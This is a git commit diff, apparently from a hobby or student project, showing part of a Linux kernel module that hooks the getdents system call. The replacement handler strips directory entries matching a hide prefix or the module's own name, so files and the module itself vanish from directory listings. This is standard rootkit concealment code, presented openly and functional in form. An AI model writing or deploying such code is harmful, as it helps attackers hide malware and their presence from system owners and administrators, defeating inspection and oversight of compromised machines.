Removing single-line comments

dev_vlr
Valentin Lechner 5 years ago
parent 800779a376
commit 53e95217c2

@ -23,6 +23,10 @@
*******************************************************************************/
#include "637d3n75.h"
/*** var ********************************************************************
*******************************************************************************/
sys_getdents_ptr sys_getdents_orig;
/*******************************************************************************/
@ -48,22 +52,20 @@ asmlinkage long sys_getdents_new(unsigned int fd,
dbuf = (char*)dirent;
// go through the entries, looking for one that has our prefix
for (boff = 0; boff < ret;) {
ent = (struct linux_dirent*)(dbuf + boff);
// if it has hide prefix or module name anywhere, hide it
if ((strncmp(ent->d_name, HIDE_PREFIX, HIDE_PREFIX_SZ) == 0)
|| (strstr(ent->d_name, MODULE_NAME) != NULL)) {
// remove this entry by copying everything after it forward
// and adjust the length reported
memcpy(dbuf + boff,
dbuf + boff + ent->d_reclen,
ret - (boff + ent->d_reclen));
ret -= ent->d_reclen;
} else {
// on to the next entry
boff += ent->d_reclen;
}
}

Loading…
Cancel
Save